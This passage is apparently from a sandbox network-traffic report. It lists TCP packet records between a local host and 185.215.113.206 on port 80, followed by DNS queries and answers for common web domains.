Nov 23, 2024 21:59:48.218421936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.218477964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.218523979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.219238043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.219296932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.219392061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.219477892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.219957113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.220019102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.220109940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.220202923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.220752001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.220804930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.220876932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.220922947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.221571922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.221631050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.221683025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.221728086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.222296953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.222345114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.222579956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.222697973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.223140955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.223246098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.223258972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.223359108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.223885059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.223987103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.224042892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.224890947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.224951982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.225478888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.225495100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.225519896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.225534916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.225570917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.225759029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.226313114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.226330042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.226362944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.226380110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.227031946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.227195024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.227400064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.227464914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.227828026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.227845907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.227906942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.228586912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.228669882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.229387999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.229404926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.229432106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.229450941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.229464054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.229811907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.231338978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.231394053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.299587011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.299696922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.300175905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.300260067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.338656902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.338723898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.338927031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.339056969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.339072943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.339108944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.339144945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.339663982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.339719057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.339775085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.339818954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.340426922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.340466976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.340475082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.340507030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.341202021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.341247082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.341365099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.341444969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.342036009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.342117071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.342226028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.342272997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.342758894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.342812061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.342964888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.343014002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.343548059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.343594074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.343890905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.343938112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.344396114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.344521046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.344532967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.344573021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.345155001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.345202923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.345346928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.345388889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.345886946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.345923901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.345937967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.345973969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.346683979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.346724033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.346750021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.346761942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.347515106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.347567081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.347574949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.347619057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.348246098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.348294020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.348468065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.348516941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.349020004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.349071980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.349142075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.349313974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.349838018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.349891901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.349920034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.349975109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.350604057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.350651026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.350743055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.350895882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.351387978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.351458073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.351507902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.351555109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.352166891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.352224112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.352354050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.352406025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.352950096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.353002071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.353118896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.353228092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.353717089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.353773117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.354146957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.354201078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.354522943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.354676008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.354739904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.354783058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.355288029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.355341911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.355370998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.355458021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.356097937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.356148958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.356349945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.356410027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.356879950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.356933117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.357495070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.357570887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.357685089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.357732058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.358386993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.358439922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.358443022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.358457088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.358484983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.358503103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.359220028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.359272957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.359303951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.359344006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.360043049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.360100985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.360586882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.360646009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.360867023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.360920906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.360945940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.361088991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.361614943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.361628056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.361665010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.362368107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.362421989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.362973928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.363081932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.425367117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.425432920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.425570965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.425614119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.425651073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.425666094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.425713062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.426378012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.426440954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.426502943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.426543951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.427223921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.427278996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.427319050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.427366018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.427989960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.428030968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.428215027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.428258896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.428801060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.428858995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.428862095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.428900957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.429682970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.429696083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.429747105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.430362940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.430377007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.430413008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.430434942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.431330919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.431494951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.431538105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.431587934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.431912899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.431973934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.432681084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.432693958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.432707071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.432735920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.432750940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.433432102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.433504105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.433568001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.433617115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.434232950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.434288025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.434340954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.434432030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.463094950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.463152885 CET	49809	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 21:59:20.253060102 CET	192.168.2.6	1.1.1.1	0xb9b9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:20.253212929 CET	192.168.2.6	1.1.1.1	0x8c50	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:27.639203072 CET	192.168.2.6	1.1.1.1	0x1a35	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:27.639364958 CET	192.168.2.6	1.1.1.1	0x38cc	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:31.483490944 CET	192.168.2.6	1.1.1.1	0x89ae	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:31.483670950 CET	192.168.2.6	1.1.1.1	0x2d3b	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:33.994613886 CET	192.168.2.6	1.1.1.1	0x14f6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:33.994868040 CET	192.168.2.6	1.1.1.1	0x88df	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 21:59:34.687056065 CET	192.168.2.6	1.1.1.1	0xf6a8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:34.687366962 CET	192.168.2.6	1.1.1.1	0xa7c9	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:35.823103905 CET	192.168.2.6	1.1.1.1	0x4830	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.823332071 CET	192.168.2.6	1.1.1.1	0xa009	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:35.823910952 CET	192.168.2.6	1.1.1.1	0x2747	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.824312925 CET	192.168.2.6	1.1.1.1	0xd8bd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:35.835726023 CET	192.168.2.6	1.1.1.1	0xc706	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.835978985 CET	192.168.2.6	1.1.1.1	0xc55b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:36.751895905 CET	192.168.2.6	1.1.1.1	0xb62e	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.752053976 CET	192.168.2.6	1.1.1.1	0x9838	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:36.760020971 CET	192.168.2.6	1.1.1.1	0xc7c2	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.760157108 CET	192.168.2.6	1.1.1.1	0xd33e	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:36.899486065 CET	192.168.2.6	1.1.1.1	0x2db4	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.899616003 CET	192.168.2.6	1.1.1.1	0xa004	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 23, 2024 21:59:37.042967081 CET	192.168.2.6	1.1.1.1	0xcc0d	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:37.043153048 CET	192.168.2.6	1.1.1.1	0x6088	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 21:59:20.393011093 CET	1.1.1.1	192.168.2.6	0x8c50	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 21:59:20.394253016 CET	1.1.1.1	192.168.2.6	0xb9b9	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:27.780843019 CET	1.1.1.1	192.168.2.6	0x1a35	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:27.780843019 CET	1.1.1.1	192.168.2.6	0x1a35	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:27.865690947 CET	1.1.1.1	192.168.2.6	0x38cc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:31.625807047 CET	1.1.1.1	192.168.2.6	0x89ae	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:31.632139921 CET	1.1.1.1	192.168.2.6	0x2d3b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:31.941227913 CET	1.1.1.1	192.168.2.6	0xa59c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:31.941227913 CET	1.1.1.1	192.168.2.6	0xa59c	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:32.017479897 CET	1.1.1.1	192.168.2.6	0x13cf	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:34.134068966 CET	1.1.1.1	192.168.2.6	0x14f6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:34.225644112 CET	1.1.1.1	192.168.2.6	0x88df	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:34.829936981 CET	1.1.1.1	192.168.2.6	0xf6a8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:34.829936981 CET	1.1.1.1	192.168.2.6	0xf6a8	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:34.918171883 CET	1.1.1.1	192.168.2.6	0xa7c9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:35.963620901 CET	1.1.1.1	192.168.2.6	0x4830	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.963620901 CET	1.1.1.1	192.168.2.6	0x4830	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.963635921 CET	1.1.1.1	192.168.2.6	0xa009	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 21:59:35.964286089 CET	1.1.1.1	192.168.2.6	0x2747	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.964286089 CET	1.1.1.1	192.168.2.6	0x2747	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.965040922 CET	1.1.1.1	192.168.2.6	0xd8bd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 21:59:35.977931023 CET	1.1.1.1	192.168.2.6	0xc706	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.977931023 CET	1.1.1.1	192.168.2.6	0xc706	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:35.979015112 CET	1.1.1.1	192.168.2.6	0xc55b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 21:59:36.895576954 CET	1.1.1.1	192.168.2.6	0xb62e	No error (0)	sb.scorecardresearch.com		3.160.188.68	A (IP address)	IN (0x0001)	false
